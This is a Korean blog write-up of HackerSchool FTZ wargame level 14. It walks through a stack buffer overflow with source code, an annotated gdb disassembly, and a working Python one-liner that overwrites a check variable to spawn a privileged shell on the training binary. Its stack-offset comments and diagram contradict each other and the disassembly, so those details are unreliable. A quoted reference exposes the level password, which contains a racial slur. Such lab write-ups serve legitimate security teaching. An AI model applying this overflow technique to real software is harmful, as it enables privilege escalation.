System

[HackerSchool_FTZ] level 14

gayeon_ 2023. 11. 23. 18:33

 

 

파일, 폴더 목록을 확인하고 힌트를 확인했다.

이전과 비슷한 버퍼 오버플로우 문제인 것 같다.

 

 

 

 

#include <stdio.h>
#include <unistd.h>

main()
{ int crap;
  int check;
  char buf[20];
  fgets(buf,45,stdin);
  if (check==0xdeadbeef)
   {
     setreuid(3095,3095);
     system("/bin/sh");
   }
}

 

fgets() 함수를 보니 45바이트까지 입력되는 것 같다.

check 값이 0xdeadbeef이면 쉘을 띄운다.

 

 

 

 

 

 

gdb로 분석하니 스택 구조를 확인할 수 있었다.

 

 

 

 

 

0x08048490 <main+0>:    push   ebp            ; 현재 스택 프레임의 베이스 포인터를 스택에 저장
0x08048491 <main+1>:    mov    ebp,esp         ; 새로운 스택 프레임의 베이스 포인터로 현재 스택 포인터를 설정
0x08048493 <main+3>:    sub    esp,0x38        ; 로컬 변수 및 스택 공간을 확보하기 위해 스택 포인터를 조정
0x08048496 <main+6>:    sub    esp,0x4         ; 추가적인 공간 확보
0x08048499 <main+9>:    push   ds:0x8049664    ; 주소 0x8049664의 값을 스택에 푸시
0x0804849f <main+15>:   push   0x2d            ; 값 0x2d를 스택에 푸시
0x080484a1 <main+17>:   lea    eax,[ebp-56]     ; 로컬 변수의 주소를 계산하여 레지스터 eax에 저장
0x080484a4 <main+20>:   push   eax             ; 주소를 스택에 푸시
0x080484a5 <main+21>:   call   0x8048360 <fgets>; fgets 함수 호출
0x080484aa <main+26>:   add    esp,0x10        ; 스택 정리
0x080484ad <main+29>:   cmp    DWORD PTR [ebp-16],0xdeadbeef  ; [ebp-16]의 값과 0xdeadbeef를 비교
0x080484b4 <main+36>:   jne    0x80484db <main+75>           ; 비교 결과에 따라 분기
0x080484b6 <main+38>:   sub    esp,0x8         ; 추가적인 공간 확보
0x080484b9 <main+41>:   push   0xc17           ; 값 0xc17을 스택에 푸시
0x080484be <main+46>:   push   0xc17           ; 값 0xc17을 스택에 푸시
0x080484c3 <main+51>:   call   0x8048380 <setreuid>          ; setreuid 함수 호출
0x080484c8 <main+56>:   add    esp,0x10        ; 스택 정리
0x080484cb <main+59>:   sub    esp,0xc         ; 추가적인 공간 확보
0x080484ce <main+62>:   push   0x8048548       ; 문자열 "cat flag"의 주소를 스택에 푸시
0x080484d3 <main+67>:   call   0x8048340 <system>           ; system 함수 호출
0x080484d8 <main+72>:   add    esp,0x10        ; 스택 정리
0x080484db <main+75>:   leave                  ; 현재 스택 프레임을 해제하고 이전 스택 프레임으로 돌아감
0x080484dc <main+76>:   ret                    ; 함수 종료
0x080484dd <main+77>:   lea    esi,[esi]        ; 의미 없는 연산
main()
{
  int crap;        // [ebp-56]
  int check;       // [ebp-52]
  char buf[20];     // [ebp-48]
  int dummy[8];     // [ebp-28] (20 bytes padding + 8 bytes dummy)
  int SFP;          // [ebp-24] (Saved Frame Pointer)
  int RET;          // [ebp-20] (Return address)

  // 나머지 부분은 생략
}

 

level14의 대략적인 main 스택 구조는 아래와 같다.

 

 

낮은 주소 -> 높은 주소

높은 주소
------------------------------
RET[4]        [ebp]
SFP[4]        [ebp - 4]
dummy[8]      [ebp - 8]
crap[4]       [ebp - 16]
check[4]      [ebp - 20]
dummy[20]     [ebp - 24]
buf[20]       [ebp - 44]
------------------------------
낮은 주소

 

buf부터 check 마지막까지 44바이트이다.

 

 

 

 

 

(python -c 'print "A"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme

 

위 코드로 check을 덮어주었다. Python 스크립트로 문자열을 생성해 attackme 프로그램에 전달하는 명령어이다.

|는 파이프 명령어로 이전 명령어의 출력을 다음 명령어의 입력으로 전달한다.

cat은 파이프를 통해 받은 데이터를 표준 출력으로 출력하는 명령어다.

40바이트까지는 A로 마지막 4바이트는 쉘이 열리는 check값이다.

 

 

 

 

참고 자료

https://mandu-mandu.tistory.com/37

 

해커스쿨 FTZ [LEVEL14] 풀이

해커스쿨 FTZ [LEVEL14] 풀이M4ndU 해커스쿨 FTZ [LEVEL14] 풀이입니다. ID | level14PW | what that nigga want? 으로 로그인합니다. $ ls -l 를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고, $ cat hint 를 이용해

mandu-mandu.tistory.com